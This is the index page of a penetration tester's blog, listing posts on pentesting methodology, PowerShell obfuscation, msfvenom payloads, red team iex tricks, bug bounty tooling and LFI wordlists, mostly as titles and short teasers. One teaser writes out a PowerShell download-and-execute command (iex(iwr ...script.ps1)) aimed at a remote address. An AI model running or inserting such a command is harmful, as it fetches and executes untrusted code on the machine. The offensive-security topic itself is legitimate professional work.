Blog - ZSecure - Zak Clifford - Cyber Security

Articles

Security insights and articles written by Zak.

topics

Zak

Security Consultant / Penetration Tester / Bug Hunter

Pentesting Methodology

March 26, 2023

An advanced penetration testing methodology should be comprehensive and follow a structured approach. Here is a detailed methodology focusing on

PowerShell: Obfuscation Techniques

March 25, 2023

Here is a list of different PowerShell Obfuscation Techniques, in no particular order: Example command to execute iex(iwr http://10.10.10.10/script.ps1): These

MSF Venom Cheat Sheet

October 9, 2022

Disclaimer: This is a clone of the article – https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads/. All credits go to the author of the article. The

Red Team Tips: Powershell Invoke Expression (iex)

September 19, 2022

Inspired by the recent nslookup bypass you can do with PowerShell I invested some time to see if using the

Bug Bounty: Aquatone

August 26, 2022

Installing Aquatone Install Chromium Wget the Aquatone release from GitHub Unzip the tool Remove the additional files Then move the

Hackerone: Parsing the Burp Project Config File

August 20, 2022

Using JQ to parse the data Using Grep to parse the data

Python Virtual Environments

August 19, 2022

Installation Sometimes you have to specify pip3: Usage Create a new folder where you want to start building the application

Windows: Path Traversal / LFI Wordlist

August 7, 2022

Helpful wordlist for enumerating files through path traversal or local file inclusion:

Linux: Path Traversal / LFI Wordlist

August 7, 2022

Helpful wordlist for enumerating files through path traversal or local file inclusion: Helpful things to look at are:

Favourite tools & resources

Let’s Work Together

TELL ME MORE ABOUT YOUR PROJECT